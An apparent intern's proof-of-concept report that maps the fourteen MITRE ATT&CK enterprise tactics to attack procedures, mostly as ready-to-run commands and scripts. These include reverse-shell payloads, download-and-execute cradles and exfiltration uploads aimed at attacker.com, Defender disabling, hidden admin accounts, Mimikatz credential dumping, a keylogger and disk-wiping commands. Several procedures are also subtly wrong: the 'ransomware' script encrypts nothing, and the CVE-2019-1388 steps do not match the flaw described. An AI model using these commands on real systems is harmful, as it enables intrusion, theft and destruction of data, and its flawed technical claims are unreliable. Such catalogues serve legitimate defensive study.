PoC Report: Threat Intelligence via MITRE ATT&CK®

Enterprise Matrix

Name: Sristi Dutta **Intern I'd: 387**

FRAMEWORK OVERVIEW

□ What is MITRE ATT&CK®?

MITRE ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) is a **globally-accessible framework** for understanding adversary behavior based on real-world observations. It breaks down cyberattacks into structured **TTPs**:

- **Tactics**: Goals the attacker is trying to achieve.
- **Techniques**: How they achieve those goals.
- **Procedures**: Specific implementations of techniques.

🎯 **TTPs – Tactics, Techniques, and Procedures**

Component	Description
Tactic	The "why" – the attacker's goal during an operation.
Technique	The "how" – the method used to achieve a tactic.
Procedure	The "what" – actual tools, code, or commands used in real-world scenarios.

🎯 **The 14 Key Tactics:**

- Initial Access
- Execution
- Persistence
- Privilege Escalation
- Defense Evasion
- Credential Access
- Discovery
- Lateral Movement
- Collection
- Command and Control
- Exfiltration
- Impact
- Reconnaissance
- Resource Development

TACTIC 1 – INITIAL ACCESS (TA0001)

🎯 **Goal of the Attacker:** Gain a foothold inside the victim's environment.

🔹 **Technique 1: T1566.001 – Phishing: Spearphishing Attachment**

Attackers use tailored emails with malicious attachments to trick victims.

🔧 **Procedure 1: Weaponized DOC via msfvenom & macro**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
```

Embed it in a Word macro:

```
Sub AutoOpen()
    Shell "powershell -ExecutionPolicy Bypass -File \\192.168.1.10\payloads\payload.ps1"
End Sub
```

Deliver using spoofed email.

🔧 Procedure 2: CVE-2017-0199 RTF Exploit

Exploit RTF file vulnerability to execute remote code:

```
python cve-2017-0199_toolkit.py -M gen -t RTF -u http://attacker.com/exploit.sct -o invoice.rtf
```

Email subject: **"Pending Payment Invoice"**.

🔷 Technique 2: T1203 – Exploitation for Client Execution

Target vulnerable software (e.g., Office, browser).

🔧 Procedure 1: Exploit Word's ActiveX Vulnerability (CVE-2021-40444)

Craft DOCX with ActiveX:

```
python exploit_generator.py -u http://attacker.com/shell.html -o docx.docx
```

Victim opens the document = code execution.

🔧 Procedure 2: JavaScript Exploit in PDF

Create PDF with embedded JavaScript:

```
this.exportDataObject({ cName: "shell.exe", nLaunch: 2 });
```

When opened in Adobe Reader, the binary is dropped and run.

🔷 Technique 3: T1059.001 – Command and Scripting Interpreter: PowerShell

🔧 Procedure 1: PowerShell Download Cradle

```
powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
```

🔧 Procedure 2: Encoded PowerShell (Obfuscation)

```
$command = 'Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile shell.exe'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
```

TACTIC 2 – EXECUTION (TA0002)

🎯 **Goal:** Run adversary-controlled code on a victim machine—either locally or remotely—after gaining initial access.

🔹 Technique 1: T1059 – Command and Scripting Interpreter

This involves using built-in interpreters (PowerShell, cmd, Bash, etc.) to execute commands and scripts.

🔧 Procedure 1: PowerShell Payload Execution

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
```

Contents of `payload.ps1`:

```
Invoke-WebRequest http://attacker.com/malware.exe -OutFile malware.exe
Start-Process malware.exe
```

Delivered via email, drive-by-download, or USB drop.

🔧 Procedure 2: CMD Interpreter Abuse

```
cmd.exe /c "certutil -urlcache -split -f http://attacker.com/malware.exe
malware.exe && malware.exe"
```

Uses `certutil` (Windows binary) to download payload silently.

🔹 Technique 2: T1204.002 – User Execution: Malicious File

Tricks users into running a malicious file (e.g. macro-infected Office doc or installer).

🔧 Procedure 1: Macro-Enabled Word Doc

```
Sub AutoOpen()
  Shell "powershell.exe -ExecutionPolicy Bypass -File
\\attacker\payload.ps1"
End Sub
```

When user opens the document and enables macros, the malware runs.

🔧 Procedure 2: Fake Software Installer

- Build a fake setup file using NSIS:

```
ExecShell "open" "$INSTDIR\malware.exe"
```

Shared via a download link or torrent site pretending to be a real tool like “Zoom Cracker”.

🔹 Technique 3: T1651 – Cloud Administration Command

Uses admin-level cloud interfaces like **Azure RunCommand** or **AWS SSM** to remotely execute commands.

🔧 Procedure 1: Azure RunCommand

```
az vm run-command invoke \
  -g "VictimResourceGroup" -n "VM01" \
  --command-id RunPowerShellScript \
  --scripts "Invoke-WebRequest http://attacker/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"
```

🔧 Procedure 2: AWS SSM Remote Execution

```
aws ssm send-command \
  --instance-ids i-0abcdef1234567890 \
  --document-name "AWS-RunPowerShellScript" \
  --parameters 'commands=["Invoke-WebRequest http://attacker/malware.exe -OutFile C:\\temp\\malware.exe", "Start-Process C:\\temp\\malware.exe"]'
```

TACTIC 3 – PERSISTENCE (TA0003)

🎯 **Goal:** Maintain long-term access to compromised systems even after reboots, password changes, or reauthentication.

🔹 Technique 1: T1547.001 – Registry Run Keys / Startup Folder

Attackers use Windows Registry or startup folder locations to re-launch malware on system boot.

🔧 Procedure 1: Registry Run Key

```
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "C:\Users\Public\malware.exe"
```

This ensures malware runs every time the user logs in.

🔧 Procedure 2: Startup Folder Drop

```
Copy-Item malware.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
```

The executable runs automatically during Windows startup.

🔹 Technique 2: T1053.005 – Scheduled Task/Job: Scheduled Task

Creates recurring tasks using built-in OS task scheduling tools.

🔧 Procedure 1: Windows Task Scheduler (schtasks)

```
schtasks /create /tn "Updater" /tr "C:\malware.exe" /sc ONLOGON /ru SYSTEM
```

🔧 Procedure 2: PowerShell-Based Task Creation

```
$action = New-ScheduledTaskAction -Execute "C:\malware.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SysUpdater" -Action $action -Trigger $trigger
```

🔹 Technique 3: T1136.001 – Create Account: Local Account

Attackers create hidden local users to maintain backdoor access.

🔧 Procedure 1: CMD Local Admin User

```
net user sysadmin pass1234 /add
net localgroup administrators sysadmin /add
```

🔧 Procedure 2: PowerShell Hidden User

```
net user updater Secret123 /add
net localgroup administrators updater /add
wmic useraccount where name='updater' set Disabled=false
```

Can also hide from login screen using:

```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v updater /t REG_DWORD /d 0 /f
```

TACTIC 4 – PRIVILEGE ESCALATION (TA0004)

🎯 **Goal:** Gain higher-level permissions on a system, such as administrator or SYSTEM-level, to access restricted resources or execute protected actions.

🔹 Technique 1: T1548.002 – Abuse Elevation Control Mechanism: Bypass UAC

User Account Control (UAC) is a Windows security feature. Attackers often bypass it to elevate privileges without user interaction.

🔧 Procedure 1: SilentCleanup (via schtasks)

```
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup
```

If `HKCU\Environment\windir` is set to a malicious executable, it gets run as admin.

🔧 Procedure 2: Fodhelper Registry Hijack

```
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "C:\malware.exe"
```

```
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
Start-Process fodhelper.exe
```

`fodhelper.exe` is auto-elevated by Windows, leading to privilege escalation.

🔹 Technique 2: T1055.001 – Process Injection: Dynamic-link Library Injection

Injecting malicious DLLs into legitimate processes to run code under a trusted process.

🔗 Procedure 1: DLL Sideloading

1. Drop a malicious `mscoree.dll` beside a trusted EXE (e.g., `app.exe`).
2. Run `app.exe`; it loads the malicious DLL due to directory precedence.

🔗 Procedure 2: Manual DLL Injection via PowerShell

```
[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("malicious.dll"))
```

Loads a DLL dynamically into memory (fileless execution).

🔹 Technique 3: T1068 – Exploitation for Privilege Escalation

Attackers exploit system vulnerabilities to elevate privileges.

🔗 Procedure 1: Exploit CVE-2021-1732 (Win32k EOP)

- Exploits a flaw in Windows kernel (Win32k.sys) to get SYSTEM.
- Requires a PoC exploit and a vulnerable Windows version.

🔗 Procedure 2: Exploit CVE-2019-1388 (UAC Bypass)

```
certutil -urlcache -split -f http://attacker.com/rev.exe rev.exe
runas /user:Administrator "cmd.exe /c rev.exe"
```

Uses a misconfigured certificate UI to spawn an elevated prompt.

TACTIC 5 – DEFENSE EVASION (TA0005)

🎯 **Goal:** Avoid detection, analysis, or logging by defensive tools like antivirus, EDR, SIEMs, etc.

🔹 Technique 1: T1027 – Obfuscated Files or Information

Attackers encode, compress, or otherwise obfuscate code to avoid detection.

🔗 Procedure 1: Base64-Encoded PowerShell

```
$cmd = 'Invoke-WebRequest http://attacker.com/malware.exe -OutFile malware.exe; Start-Process malware.exe'
```

```
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
```

🔧 Procedure 2: XOR-Encoding Payloads

Python example:

```
key = 0x41
payload = bytes([b ^ key for b in open("shellcode.bin", "rb").read()])
with open("xor_payload.bin", "wb") as f:
    f.write(payload)
```

On victim machine, a custom loader decodes and executes the shellcode.

🔹 Technique 2: T1562.001 – Disable or Modify Tools: Disable or Modify Defender

Disabling antivirus or EDR components to avoid detection.

🔧 Procedure 1: Disable Windows Defender

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

🔧 Procedure 2: Modify Registry to Block Defender

```
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender"
-Name "DisableAntiSpyware" -Value 1
```

🔹 Technique 3: T1112 – Modify Registry

Used to hide malware or change system behavior.

🔧 Procedure 1: Hide a User from Login Screen

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f
```

🔧 Procedure 2: Modify Execution Policies

```
Set-ExecutionPolicy Unrestricted -Scope LocalMachine
```

Allows unsigned scripts to execute without warning.

TACTIC 6 – CREDENTIAL ACCESS (TA0006)

🎯 **Goal:** Steal user credentials (passwords, tokens, keys) from system memory, files, or external resources to move laterally or escalate privileges.

🔹 Technique 1: T1003.001 – OS Credential Dumping: LSASS Memory

Credential dumping via the `lsass.exe` process to obtain plaintext passwords or NTLM hashes.

🔗 Procedure 1: Using Mimikatz (Manual)

```
Invoke-WebRequest http://attacker.com/mimikatz.exe -OutFile mimikatz.exe
.\mimikatz.exe
```

In the Mimikatz shell:

```
privilege::debug
sekurlsa::logonpasswords
```

🔗 Procedure 2: PowerShell Reflective DLL Injection

```
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
```

🔹 Technique 2: T1555.003 – Credentials from Web Browsers

Extract saved passwords from browsers like Chrome or Firefox.

🔗 Procedure 1: Chrome Password Dump via DPAPI

```
$localState = Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"
# Extract encryption key and decode Login Data SQLite
```

Requires parsing `Login Data` DB and decrypting using `CryptUnprotectData`.

🔗 Procedure 2: LaZagne Tool

```
laZagne.exe browsers
```

Extracts passwords from multiple browsers and services.

🔹 Technique 3: T1552.001 – Unsecured Credentials: Credentials in Files

Attacker finds plaintext credentials in config files or code repositories.

🔗 Procedure 1: Search Files for Secrets

```
findstr /si password *.txt *.xml *.ini
```

Common in shared folders or misconfigured software.

🔗 Procedure 2: GitHub Recon for API Keys

```
git clone https://github.com/target/repo.git
trufflehog --regex --entropy=False repo/
```

Identifies hardcoded secrets in source code.

TACTIC 7 – DISCOVERY (TA0007)

🎯 **Goal:** Understand the target environment—its topology, users, defenses, and resources—before further exploitation.

🔷 Technique 1: T1087.001 – Account Discovery: Local Account

Identify which users exist on the local system.

🔧 Procedure 1: Using `net user`

```
net user
```

Displays all local user accounts.

🔧 Procedure 2: PowerShell Enumeration

```
Get-LocalUser | Select Name, Enabled
```

More flexible output for automation and scripting.

🔷 Technique 2: T1016 – System Network Configuration Discovery

Gather system-level network details such as IP, DNS, gateways.

🔧 Procedure 1: IP Configuration

```
ipconfig /all
```

Reveals IP addresses, DNS servers, adapters, and more.

🔧 Procedure 2: PowerShell Network Discovery

```
Get-NetIPConfiguration
```

A modern, scriptable way to fetch IP, subnet, and gateway info.

🔷 Technique 3: T1046 – Network Service Scanning

Scan the network to find open ports and services (like SSH, RDP, SMB).

🔧 Procedure 1: Nmap Basic Scan

```
nmap -sS -T4 192.168.1.0/24
```

Fast TCP SYN scan across the local subnet.

🔧 Procedure 2: PowerShell Port Scanner

```
1..65535 | % {
    try {
        $tcp = New-Object Net.Sockets.TcpClient("192.168.1.10", $_)
        if ($tcp.Connected) {
            "$_ open"
            $tcp.Close()
        }
    } catch {}
}
```

Scans ports on a specific target from PowerShell (stealthy).

TACTIC 8 – LATERAL MOVEMENT (TA0008)

🎯 **Goal:** Move from one system to another within the victim's network to expand access, steal more data, or establish persistence.

🔹 Technique 1: T1021.001 – Remote Services: Remote Desktop Protocol (RDP)

Uses RDP to access other machines with stolen credentials.

🔧 Procedure 1: Manual RDP Connection

```
mstsc /v:192.168.1.25
```

Credentials can be entered manually or passed via tools like `Mimikatz`.

🔧 Procedure 2: RDP via Command + Credentials

```
cmdkey /add:192.168.1.25 /user:Administrator /pass:Password123
mstsc /v:192.168.1.25
```

Stores credentials before launching RDP for auto-login.

🔹 Technique 2: T1021.002 – SMB/Windows Admin Shares

Use default Windows shares (like `C$`) to upload tools or payloads.

🔧 Procedure 1: Copy + Remote Exec via SMB

```
copy malware.exe \\192.168.1.30\C$\Temp\
psexec \\192.168.1.30 -u admin -p pass123 C:\Temp\malware.exe
```

🔧 Procedure 2: Remote Task Creation

```
Invoke-Command -ComputerName 192.168.1.30 -ScriptBlock {
    Start-Process "C:\Temp\malware.exe"
}
```

Requires proper credentials or Kerberos ticket forwarding.

🔹 Technique 3: T1021.003 – Windows Remote Management (WinRM)

Allows command execution on remote systems via PowerShell Remoting.

🔧 Procedure 1: Invoke-Command

```
Invoke-Command -ComputerName 192.168.1.35 -Credential $creds -ScriptBlock {
    Invoke-WebRequest -Uri "http://attacker/malware.exe" -OutFile
"C:\malware.exe"
    Start-Process "C:\malware.exe"
}
```

🔧 Procedure 2: Enter-PSSession

```
Enter-PSSession -ComputerName 192.168.1.35 -Credential $creds
```

Gives interactive remote shell on the system.

TACTIC 9 – COLLECTION (TA0009)

🎯 **Goal:** Gather data from compromised systems before exfiltrating it. This includes files, credentials, screenshots, audio, and other sensitive data.

🔹 Technique 1: T1113 – Screen Capture

Capture what's visible on a user's screen.

🔧 Procedure 1: PowerShell Screenshot Capture

```
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.Location,   [System.Drawing.Point]::Empty,
$bounds.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")
```

🔧 Procedure 2: Python Script for Screenshot

```
import pyautogui
screenshot = pyautogui.screenshot()
screenshot.save("C:\\Users\\Public\\screen.png")
```

Typically run via Python embedded or dropped on the system.

🔹 Technique 2: T1005 – Data from Local System

Collect sensitive files from disk.

🔧 Procedure 1: PowerShell File Harvest

```
Get-ChildItem -Path C:\Users\*\Documents -Include *.docx,*.pdf -Recurse |
Copy-Item -Destination C:\Staging
```

🔧 Procedure 2: Find Files with `dir` or `findstr`

```
dir C:\ /s /b | findstr /i "password confidential"
```

Used to locate files by keywords on large volumes.

🔹 Technique 3: T1119 – Automated Collection

Automatically harvests data using scripts or malware after infection.

🔧 Procedure 1: PowerShell Logon Keylogger

```
Register-ObjectEvent -InputObject $host.UI.RawUI -EventName KeyDown -Action
{
    Add-Content "C:\log.txt" $Event.SourceEventArgs.VirtualKeyCode
}
```

🔧 Procedure 2: Custom Auto Collector

Python script to zip files:

```
import os, zipfile
zipf = zipfile.ZipFile("loot.zip", "w")
for root, _, files in os.walk("C:/Users/Public"):
    for file in files:
        zipf.write(os.path.join(root, file))
zipf.close()
```

TACTIC 10 – COMMAND AND CONTROL (TA0011)

🎯 **Goal:** Establish communication with compromised systems to issue commands, transfer files, or receive stolen data.

🔹 Technique 1: T1071.001 – Application Layer Protocol: Web Protocols

Use HTTP/S as C2 channel to blend with normal web traffic.

🔧 Procedure 1: PowerShell Web-based C2

```
while ($true) {
    $cmd = Invoke-WebRequest http://attacker.com/cmd.txt
    iex $cmd.Content
    Start-Sleep -Seconds 30
}
```

Commands fetched and executed in loop, simulating beaconing.

🔧 Procedure 2: C2 over HTTPS

Use tools like Cobalt Strike or Metasploit:

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker.com
LPORT=443 -f exe > shell.exe
```

Secure channel hides traffic in encrypted SSL.

🔹 Technique 2: T1105 – Ingress Tool Transfer

Transfer tools (like Mimikatz, reverse shells, etc.) to victim.

🔧 **Procedure 1: PowerShell File Download**

```
Invoke-WebRequest http://attacker.com/mimikatz.exe -OutFile C:\Temp\mimi.exe
```

🔧 **Procedure 2: Certutil File Fetch**

```
certutil -urlcache -split -f http://attacker.com/payload.exe payload.exe
```

`certutil` is a built-in Windows binary, often whitelisted.

🔹 **Technique 3: T1095 – Non-Application Layer Protocol**

C2 via raw sockets, DNS tunneling, ICMP, etc.

🔧 **Procedure 1: ICMP Tunnel with `ptunnel`**

```
ptunnel -p 192.168.1.1 -lp 8000 -da 10.0.0.5 -dp 22
```

Sends TCP traffic (SSH) over ICMP echo requests.

🔧 **Procedure 2: DNS Tunneling (e.g. Iodine)**

```
iodine -f -P secretpass attacker.com
```

Encodes commands/data into DNS queries and responses.

TACTIC 11 – EXFILTRATION (TA0010)

🎯 **Goal:** Steal and transfer data from the victim's environment to an attacker-controlled location, often without being detected.

🔹 **Technique 1: T1041 – Exfiltration Over C2 Channel**

Send stolen data over an already-established Command and Control (C2) channel.

🔧 **Procedure 1: PowerShell File Upload via HTTP POST**

```
Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -InFile "C:\loot.zip"
```

🔧 **Procedure 2: PowerShell Beacon with Exfil**

```
$body = Get-Content C:\loot.zip -Encoding Byte
Invoke-RestMethod -Uri http://attacker.com/api/data -Method POST -Body $body
```

Data sent over existing HTTP-based C2, blending into normal web traffic.

🔹 **Technique 2: T1567.002 – Exfiltration to Cloud Storage**

Use legitimate cloud storage platforms (like Google Drive, Dropbox) for stealthy data transfer.

🔧 Procedure 1: Upload to Google Drive via CLI

```
gdrive upload C:\loot.zip
```

Uses OAuth; traffic appears as normal user activity.

🔧 Procedure 2: Dropbox Python Uploader

```
import dropbox
dbx = dropbox.Dropbox("API_KEY")
with open("C:\\loot.zip", "rb") as f:
    dbx.files_upload(f.read(), "/loot.zip")
```

🔹 Technique 3: T1048.003 – Exfiltration Over Unencrypted Non-C2 Protocol: FTP

Attackers use FTP for direct file exfil.

🔧 Procedure 1: FTP Upload via Command Line

```
ftp -n -s:ftp_commands.txt
```

Content of `ftp_commands.txt`:

```
open attacker.com
user ftpuser password
put C:\loot.zip
bye
```

🔧 Procedure 2: Python FTP Exfil Script

```
from ftplib import FTP
ftp = FTP("attacker.com")
ftp.login("ftpuser", "password")
ftp.storbinary("STOR loot.zip", open("C:\\loot.zip", "rb"))
ftp.quit()
```

TACTIC 12 – IMPACT (TA0040)

🎯 **Goal:** Disrupt, degrade, or destroy systems, data, or operations within the victim's environment. This often marks the **final stage** of an attack.

🔹 Technique 1: T1486 – Data Encrypted for Impact (Ransomware)

Encrypt victim's files to demand ransom.

🔧 Procedure 1: Manual Encryption with PowerShell

```
Get-ChildItem C:\Users\ -Recurse | ForEach-Object {
    $content = Get-Content $_.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($content)
    [IO.File]::WriteAllBytes($_.FullName + ".enc", $bytes)
```

```
    Remove-Item $_.FullName
}
```

🔧 Procedure 2: Use Open-Source Ransomware Builder

Tool: Hidden Tear

- Compile ransomware binary
- Deliver via phishing or USB
- Files get encrypted with AES, .locked extension

🔹 Technique 2: T1499 – Endpoint Denial of Service

Consume local system resources to prevent access or functionality.

🔧 Procedure 1: Infinite Fork Bomb (Windows)

```
:loop
start powershell -Command "Start-Process powershell -ArgumentList 'loop'"
goto loop
```

🔧 Procedure 2: Memory Consumption Script

```
while ($true) {
    $array += ,(1..100000)
}
```

Consumes RAM until system hangs/crashes.

🔹 Technique 3: T1485 – Data Destruction

Overwrite or delete critical data to cause irrecoverable loss.

🔧 Procedure 1: Wipe Disk with DiskPart

```
diskpart
select disk 0
clean
```

DANGEROUS – Destroys partitions completely.

🔧 Procedure 2: Recursive File Wipe

```
Get-ChildItem -Path C:\ -Recurse -Force | Remove-Item -Force -Recurse
```

Deletes all user files and folders.

TACTIC 13 – RECONNAISSANCE (TA0043)

🎯 **Goal:** Gather information about the target before launching attacks. This helps the adversary plan social engineering, choose vulnerabilities, or identify high-value systems.

🔹 Technique 1: T1595.001 – Active Scanning: Scanning IP Blocks

The attacker sends probes to discover live hosts and open ports.

🔗 Procedure 1: Nmap IP Block Scan

```
nmap -sn 192.168.0.0/24
```

Performs a ping sweep of a full subnet to identify live systems.

🔗 Procedure 2: Masscan High-Speed Scanner

```
masscan -p1-65535 192.168.0.0/16 --rate=10000
```

Scans huge ranges of IPs extremely fast.

🔹 Technique 2: T1596.002 – Search Open Websites/Datasets: WHOIS

WHOIS and DNS tools help attackers gather domain owner and hosting info.

🔗 Procedure 1: WHOIS Lookup

```
whois example.com
```

Reveals registrar, admin email, and name servers.

🔗 Procedure 2: Online Lookup Tools

- Website: https://who.is
- Use to extract target's:
    - Registrar info
    - Expiry dates
    - Contact details

🔹 Technique 3: T1592.002 – Gather Victim Identity Information: Employee Names

Gather names of employees for phishing or impersonation.

🔗 Procedure 1: Use LinkedIn OSINT Tools

```
python linkedin_scraper.py --company "TargetCorp"
```

Pulls job titles, names, departments for spearphishing.

🔗 Procedure 2: Email Format Discovery with Hunter.io

- Visit https://hunter.io
- Search domain → Get employee names + email patterns

TACTIC 14 – RESOURCE DEVELOPMENT (TA0042)

🎯 **Goal:** Prepare the tools, accounts, and infrastructure needed to launch future attacks (like domains, malware, compromised credentials, etc.).

🔹 Technique 1: T1583.001 – Acquire Infrastructure: Domains

Register or hijack a domain name to use for C2 or phishing.

🔧 Procedure 1: Register Domain for C2

- Use providers like Namecheap, GoDaddy, or Epik.
- Example: `outlook-secure-login.com`

🔧 Procedure 2: Use Dynamic DNS for Anonymity

```
duckdns.org / no-ip.com
```

Free subdomains for malware callbacks:

```
C2 = "attacker.duckdns.org"
```

🔹 Technique 2: T1584.001 – Compromise Infrastructure: Domains

Use stolen or previously abandoned domains to hide in plain sight.

🔧 Procedure 1: Buy Expired Domains

- Use tools like:
  - ExpiredDomains.net
  - GoDaddy Auctions
- Re-register domains previously associated with trusted services.

🔧 Procedure 2: DNS Hijack via Compromised Registrar

Change DNS records of a target domain by compromising the registrar account.

- Redirects legit domains to attacker-controlled servers.

🔹 Technique 3: T1585.001 – Establish Accounts: Social Media Accounts

Create fake accounts to impersonate users or deliver payloads.

🔧 Procedure 1: Create Fake LinkedIn Profile

- Use stolen photos and AI-generated names.
- Join target's company groups.
- Send malicious links/files via DMs.

🔧 Procedure 2: Twitter for Payload Delivery

- Upload `.ps1/.exe` files on public GitHub/Gist links.

- Share those via fake Twitter threads:

"New free resource for SysAdmins: https://gist.github.com/attacker/malicious.ps1"

Summary:

Sl. No.	Tactic (ID)	Technique (ID)	Description	MITRE Link
1	**Initial Access** (TA0001)	T1566.001	Spearphishing with malicious attachments	https://attack.mitre.org/techniques/T1566/001/
		T1203	Exploiting client apps like Word or browser	https://attack.mitre.org/techniques/T1203/
		T1059.001	PowerShell execution for payload delivery	https://attack.mitre.org/techniques/T1059/001/
2	**Execution** (TA0002)	T1059	Script interpreters to run code	https://attack.mitre.org/techniques/T1059/
		T1204.002	User opens malicious document or installer	https://attack.mitre.org/techniques/T1204/002/
		T1651	Execute via cloud admin interfaces (Azure/AWS)	https://attack.mitre.org/techniques/T1651/
3	**Persistence** (TA0003)	T1547.001	Registry keys or startup folder modifications	https://attack.mitre.org/techniques/T1547/001/
		T1053.005	Scheduled tasks to auto-execute payloads	https://attack.mitre.org/techniques/T1053/005/
		T1136.001	Create hidden/local admin accounts	https://attack.mitre.org/techniques/T1136/001/
4	**Privilege Escalation** (TA0004)	T1548.002	UAC bypass using trusted binaries	https://attack.mitre.org/techniques/T1548/002/
		T1055.001	Inject DLLs into other processes	https://attack.mitre.org/techniques/T1055/001/
		T1068	Exploit vulnerable OS components	https://attack.mitre.org/techniques/T1068/

5	**Defense Evasion** (TA0005)	T1027	Encode or obfuscate files/scripts	https://attack.mitre.org/techniques/T1027/
		T1562.001	Disable AV/EDR (e.g. Defender)	https://attack.mitre.org/techniques/T1562/001/
		T1112	Modify registry for stealth or persistence	https://attack.mitre.org/techniques/T1112/
6	**Credential Access** (TA0006)	T1003.001	Dump credentials from LSASS	https://attack.mitre.org/techniques/T1003/001/
		T1555.003	Extract passwords from browsers	https://attack.mitre.org/techniques/T1555/003/
		T1552.001	Credentials in files or config	https://attack.mitre.org/techniques/T1552/001/
7	**Discovery** (TA0007)	T1087.001	Enumerate local accounts	https://attack.mitre.org/techniques/T1087/001/
		T1016	Discover system network configuration	https://attack.mitre.org/techniques/T1016/
		T1046	Scan network services	https://attack.mitre.org/techniques/T1046/
8	**Lateral Movement** (TA0008)	T1021.001	Remote Desktop Protocol (RDP)	https://attack.mitre.org/techniques/T1021/001/
		T1021.002	SMB/Windows Admin Shares	https://attack.mitre.org/techniques/T1021/002/
		T1021.003	WinRM / PowerShell Remoting	https://attack.mitre.org/techniques/T1021/003/
9	**Collection** (TA0009)	T1113	Capture screenshots	https://attack.mitre.org/techniques/T1113/
		T1005	Harvest local system files	https://attack.mitre.org/techniques/T1005/
		T1119	Automated data collection	https://attack.mitre.org/techniques/T1119/
10		T1071.001	HTTP/S used for C2 communication	https://attack.mitre.org/techniques/T1071/001/

	Command & Control (TA0011)	T1105	Download/upload tools via C2	https://attack.mitre.org/techniques/T1105/
		T1095	Use of ICMP/DNS tunneling (non-app protocols)	https://attack.mitre.org/techniques/T1095/
11	**Exfiltration** (TA0010)	T1041	Data exfiltration via C2 channel	https://attack.mitre.org/techniques/T1041/
		T1567.002	Exfil to cloud platforms (Dropbox, GDrive)	https://attack.mitre.org/techniques/T1567/002/
		T1048.003	FTP or unencrypted file transfers	https://attack.mitre.org/techniques/T1048/003/
12	**Impact** (TA0040)	T1486	Ransomware/data encryption	https://attack.mitre.org/techniques/T1486/
		T1499	Denial of Service (local or remote)	https://attack.mitre.org/techniques/T1499/
		T1485	Data destruction (deletion or wipe)	https://attack.mitre.org/techniques/T1485/
13	**Reconnaissance** (TA0043)	T1595.001	Scan IP ranges for live hosts	https://attack.mitre.org/techniques/T1595/001/
		T1596.002	WHOIS and DNS record search	https://attack.mitre.org/techniques/T1596/002/
		T1592.002	Collect employee names for phishing	https://attack.mitre.org/techniques/T1592/002/
14	**Resource Development** (TA0042)	T1583.001	Register domains for attacker use	https://attack.mitre.org/techniques/T1583/001/
		T1584.001	Use compromised domains	https://attack.mitre.org/techniques/T1584/001/
		T1585.001	Create fake social media accounts	https://attack.mitre.org/techniques/T1585/001/